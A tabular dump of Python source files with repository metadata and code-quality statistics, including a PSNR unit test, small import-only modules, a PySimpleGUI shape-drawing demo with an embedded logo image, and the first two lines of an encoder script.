hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
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106ae37c43676469895062025e120357cfafbb13 | 2,890 | py | Python | tests/test_psnr.py | cnstark/iqa-torch | d8a1045c118a8370aed381f5322903fd45be6727 | [
"Apache-2.0"
] | 1 | 2022-03-29T06:04:30.000Z | 2022-03-29T06:04:30.000Z | tests/test_psnr.py | cnstark/iqa-torch | d8a1045c118a8370aed381f5322903fd45be6727 | [
"Apache-2.0"
] | null | null | null | tests/test_psnr.py | cnstark/iqa-torch | d8a1045c118a8370aed381f5322903fd45be6727 | [
"Apache-2.0"
] | 1 | 2022-02-05T03:18:43.000Z | 2022-02-05T03:18:43.000Z | import os
import sys
import unittest
sys.path.append(os.getcwd())
import numpy as np
import torch
from iqa import psnr
from libs.basicsr_psnr_ssim import calculate_psnr
IMAGE_SHAPES = (
('CHW', (3, 128, 128)),
('CHW', (1, 128, 128)),
('HWC', (128, 128, 3)),
('HWC', (128, 128, 1)),
)
class PSNRTestCase(unittest.TestCase):
def test_psnr_rgb_float32(self):
for order, shape in IMAGE_SHAPES:
with self.subTest(order=order, shape=shape):
img1_np = np.random.rand(*shape).astype(np.float32)
img2_np = np.random.rand(*shape).astype(np.float32)
img1_torch = torch.from_numpy(img1_np)
img2_torch = torch.from_numpy(img2_np)
psnr_bsr = calculate_psnr(img1_np * 255., img2_np * 255., 4, order)
psnr_iqa = psnr(img1_torch, img2_torch, 4, input_order=order)
self.assertLess(psnr_bsr - psnr_iqa.item(), 1e-5)
def test_psnr_rgb_uint8(self):
for order, shape in IMAGE_SHAPES:
with self.subTest(order=order, shape=shape):
img1_np = (np.random.rand(*shape) * 255.).astype(np.uint8)
img2_np = (np.random.rand(*shape) * 255.).astype(np.uint8)
img1_torch = torch.from_numpy(img1_np)
img2_torch = torch.from_numpy(img2_np)
psnr_bsr = calculate_psnr(img1_np, img2_np, 4, order)
psnr_iqa = psnr(img1_torch, img2_torch, 4, input_order=order)
self.assertLess(psnr_bsr - psnr_iqa.item(), 1e-5)
def test_psnr_y_float32(self):
for order, shape in IMAGE_SHAPES:
with self.subTest(order=order, shape=shape):
img1_np = np.random.rand(*shape).astype(np.float32)
img2_np = np.random.rand(*shape).astype(np.float32)
img1_torch = torch.from_numpy(img1_np)
img2_torch = torch.from_numpy(img2_np)
psnr_bsr = calculate_psnr(img1_np * 255., img2_np * 255., 4, order, True)
psnr_iqa = psnr(img1_torch, img2_torch, 4, test_y_channel=True, input_order=order)
self.assertLess(psnr_bsr - psnr_iqa.item(), 1e-5)
def test_psnr_y_uint8(self):
for order, shape in IMAGE_SHAPES:
with self.subTest(order=order, shape=shape):
img1_np = (np.random.rand(*shape) * 255.).astype(np.uint8)
img2_np = (np.random.rand(*shape) * 255.).astype(np.uint8)
img1_torch = torch.from_numpy(img1_np)
img2_torch = torch.from_numpy(img2_np)
psnr_bsr = calculate_psnr(img1_np, img2_np, 4, order, True)
psnr_iqa = psnr(img1_torch, img2_torch, 4, test_y_channel=True, input_order=order)
self.assertLess(psnr_bsr - psnr_iqa.item(), 1e-5)
if __name__ == '__main__':
unittest.main()
| 38.026316 | 98 | 0.604498 | 398 | 2,890 | 4.128141 | 0.148241 | 0.043822 | 0.048691 | 0.068168 | 0.841753 | 0.841753 | 0.841753 | 0.841753 | 0.841753 | 0.841753 | 0 | 0.060345 | 0.277509 | 2,890 | 75 | 99 | 38.533333 | 0.726533 | 0 | 0 | 0.561404 | 0 | 0 | 0.00692 | 0 | 0 | 0 | 0 | 0 | 0.070175 | 1 | 0.070175 | false | 0 | 0.122807 | 0 | 0.210526 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
10722e17d24f116f3dc6a0628be768c422689796 | 100 | py | Python | python.py | MikeWazowski16/Test-Repo | a64a01d391686427d858f6bb9e597f0eae346071 | [
"MIT"
] | 1 | 2020-10-07T18:26:53.000Z | 2020-10-07T18:26:53.000Z | python.py | MikeWazowski16/Test-Repo | a64a01d391686427d858f6bb9e597f0eae346071 | [
"MIT"
] | 1 | 2021-09-30T17:08:55.000Z | 2021-09-30T17:08:55.000Z | python.py | MikeWazowski16/Test-Repo | a64a01d391686427d858f6bb9e597f0eae346071 | [
"MIT"
] | 5 | 2020-10-07T17:16:26.000Z | 2021-09-30T17:03:13.000Z | def nothing(a, b):
if a<b: print("nothing")
elif a>b: print("nothing")
else: print("nothing")
| 20 | 28 | 0.62 | 17 | 100 | 3.647059 | 0.470588 | 0.096774 | 0.225806 | 0.451613 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.17 | 100 | 4 | 29 | 25 | 0.746988 | 0 | 0 | 0 | 0 | 0 | 0.21 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0 | 0 | 0.25 | 0.75 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
10898d03f604baefdfaf0d5e42e756784bda0aae | 198 | py | Python | strongr/secretsdomain/handler/__init__.py | bigr-erasmusmc/StrongR | 48573e170771a251f629f2d13dba7173f010a38c | [
"Apache-2.0"
] | null | null | null | strongr/secretsdomain/handler/__init__.py | bigr-erasmusmc/StrongR | 48573e170771a251f629f2d13dba7173f010a38c | [
"Apache-2.0"
] | null | null | null | strongr/secretsdomain/handler/__init__.py | bigr-erasmusmc/StrongR | 48573e170771a251f629f2d13dba7173f010a38c | [
"Apache-2.0"
] | null | null | null | from .addsecrethandler import AddSecretHandler
from .getsecrethandler import GetSecretHandler
from .removesecrethandler import RemoveSecretHandler
from .listsecretshandler import ListSecretsHandler
| 39.6 | 52 | 0.89899 | 16 | 198 | 11.125 | 0.375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.080808 | 198 | 4 | 53 | 49.5 | 0.978022 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
52a7760edb918c59bb8069cde40ba9b57c10bde7 | 29 | py | Python | mesoscope/commands/__init__.py | sofroniewn/Mesoscope | b4a7262713f82dd8883c84a6101cf114b149c28a | [
"MIT"
] | 2 | 2016-08-02T20:09:45.000Z | 2018-12-21T16:32:21.000Z | mesoscope/commands/__init__.py | sofroniewn/Mesoscope | b4a7262713f82dd8883c84a6101cf114b149c28a | [
"MIT"
] | 3 | 2016-08-06T20:37:36.000Z | 2016-12-04T23:51:32.000Z | mesoscope/commands/__init__.py | sofroniewn/Mesoscope | b4a7262713f82dd8883c84a6101cf114b149c28a | [
"MIT"
] | 2 | 2016-08-06T21:07:55.000Z | 2018-02-02T19:03:40.000Z | from .convert import convert
| 14.5 | 28 | 0.827586 | 4 | 29 | 6 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.137931 | 29 | 1 | 29 | 29 | 0.96 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
ead5d2f15c864a79601ffa9498b2395af95c7bdb | 15,971 | py | Python | pysimplegui/DemoPrograms/Demo_Graph_Drawing_And_Dragging_Figures.py | konsan1101/py-etc | bcca13119b0d2453866988404fd1c4976f55d4d5 | [
"MIT"
] | null | null | null | pysimplegui/DemoPrograms/Demo_Graph_Drawing_And_Dragging_Figures.py | konsan1101/py-etc | bcca13119b0d2453866988404fd1c4976f55d4d5 | [
"MIT"
] | 2 | 2020-06-06T00:30:56.000Z | 2021-06-10T22:30:37.000Z | pysimplegui/DemoPrograms/Demo_Graph_Drawing_And_Dragging_Figures.py | konsan1101/py-etc | bcca13119b0d2453866988404fd1c4976f55d4d5 | [
"MIT"
] | null | null | null | import PySimpleGUI as sg
from PIL import ImageGrab
"""
Demo - Drawing and moving demo
This demo shows how to use a Graph Element to (optionally) display an image and then use the
mouse to "drag" and draw rectangles and circles.
"""
def save_element_as_file(element, filename):
"""
Saves any element as an image file. Element needs to have an underlyiong Widget available (almost if not all of them do)
:param element: The element to save
:param filename: The filename to save to. The extension of the filename determines the format (jpg, png, gif, ?)
"""
widget = element.Widget
box = (widget.winfo_rootx(), widget.winfo_rooty(), widget.winfo_rootx() + widget.winfo_width(), widget.winfo_rooty() + widget.winfo_height())
grab = ImageGrab.grab(bbox=box)
grab.save(filename)
def main():
sg.theme('Dark Blue 3')
col = [[sg.T('Choose what clicking a figure does', enable_events=True)],
[sg.R('Draw Rectangles', 1, key='-RECT-', enable_events=True)],
[sg.R('Draw Circle', 1, key='-CIRCLE-', enable_events=True)],
[sg.R('Draw Line', 1, key='-LINE-', enable_events=True)],
[sg.R('Draw point', 1, key='-POINT-', enable_events=True)],
[sg.R('Erase item', 1, key='-ERASE-', enable_events=True)],
[sg.R('Erase all', 1, key='-CLEAR-', enable_events=True)],
[sg.R('Send to back', 1, key='-BACK-', enable_events=True)],
[sg.R('Bring to front', 1, key='-FRONT-', enable_events=True)],
[sg.R('Move Everything', 1, key='-MOVEALL-', enable_events=True)],
[sg.R('Move Stuff', 1, True, key='-MOVE-', enable_events=True)],
[sg.B('Save Image', key='-SAVE-')],
]
layout = [[sg.Graph(
canvas_size=(400, 400),
graph_bottom_left=(0, 0),
graph_top_right=(400, 400),
key="-GRAPH-",
change_submits=True, # mouse click events
background_color='lightblue',
drag_submits=True), sg.Col(col) ],
[sg.Text(key='info', size=(60, 1))]]
window = sg.Window("Drawing and Moving Stuff Around", layout, finalize=True)
# get the graph element for ease of use later
graph = window["-GRAPH-"] # type: sg.Graph
graph.draw_image(data=logo200, location=(0,400))
dragging = False
start_point = end_point = prior_rect = None
graph.bind('<Button-3>', '+RIGHT+')
while True:
event, values = window.read()
if event is None:
break # exit
if event in ('-MOVE-', '-MOVEALL-'):
graph.Widget.config(cursor='fleur')
# graph.set_cursor(cursor='fleur') # not yet released method... coming soon!
elif not event.startswith('-GRAPH-'):
# graph.set_cursor(cursor='left_ptr') # not yet released method... coming soon!
graph.Widget.config(cursor='left_ptr')
if event == "-GRAPH-": # if there's a "Graph" event, then it's a mouse
x, y = values["-GRAPH-"]
if not dragging:
start_point = (x, y)
dragging = True
drag_figures = graph.get_figures_at_location((x,y))
lastxy = x, y
else:
end_point = (x, y)
if prior_rect:
graph.delete_figure(prior_rect)
delta_x, delta_y = x - lastxy[0], y - lastxy[1]
lastxy = x,y
if None not in (start_point, end_point):
if values['-MOVE-']:
for fig in drag_figures:
graph.move_figure(fig, delta_x, delta_y)
graph.update()
elif values['-RECT-']:
prior_rect = graph.draw_rectangle(start_point, end_point,fill_color='green', line_color='red')
elif values['-CIRCLE-']:
prior_rect = graph.draw_circle(start_point, end_point[0]-start_point[0], fill_color='red', line_color='green')
elif values['-LINE-']:
prior_rect = graph.draw_line(start_point, end_point, width=4)
elif values['-POINT-']:
prior_rect = graph.draw_point(start_point, size=1)
elif values['-ERASE-']:
for figure in drag_figures:
graph.delete_figure(figure)
elif values['-CLEAR-']:
graph.erase()
elif values['-MOVEALL-']:
graph.move(delta_x, delta_y)
elif values['-FRONT-']:
for fig in drag_figures:
graph.bring_figure_to_front(fig)
elif values['-BACK-']:
for fig in drag_figures:
graph.send_figure_to_back(fig)
elif event.endswith('+UP'): # The drawing has ended because mouse up
info = window["info"]
info.update(value=f"grabbed rectangle from {start_point} to {end_point}")
start_point, end_point = None, None # enable grabbing a new rect
dragging = False
prior_rect = None
elif event == '-SAVE-':
# filename = sg.popup_get_file('Choose file (PNG, JPG, GIF) to save to', save_as=True)
filename=r'test.jpg'
save_element_as_file(window['-GRAPH-'], filename)
window.close()
logo200 = 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'
main() | 126.753968 | 10,569 | 0.827688 | 1,024 | 15,971 | 12.81543 | 0.507813 | 0.005487 | 0.013412 | 0.015088 | 0.033681 | 0.024232 | 0 | 0 | 0 | 0 | 0 | 0.120087 | 0.104752 | 15,971 | 126 | 10,570 | 126.753968 | 0.797734 | 0.044894 | 0 | 0.072917 | 0 | 0.010417 | 0.737938 | 0.702469 | 0 | 1 | 0.0002 | 0 | 0 | 1 | 0.020833 | false | 0 | 0.020833 | 0 | 0.041667 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
eadc96b3a216151e315801c55ae9b4a1eb767edb | 878 | py | Python | Chapter-09/src/encoder.py | fengjixuchui/Binary-Analysis-Cookbook | ea5f5be1a6a704e181782deb28f442fd53cb3764 | [
"MIT"
] | 26 | 2019-04-20T02:58:37.000Z | 2022-02-25T04:29:33.000Z | Chapter-09/src/encoder.py | fengjixuchui/Binary-Analysis-Cookbook | ea5f5be1a6a704e181782deb28f442fd53cb3764 | [
"MIT"
] | null | null | null | Chapter-09/src/encoder.py | fengjixuchui/Binary-Analysis-Cookbook | ea5f5be1a6a704e181782deb28f442fd53cb3764 | [
"MIT"
] | 15 | 2019-05-28T11:55:46.000Z | 2022-03-04T23:24:38.000Z | #!/usr/bin/env python
import sys
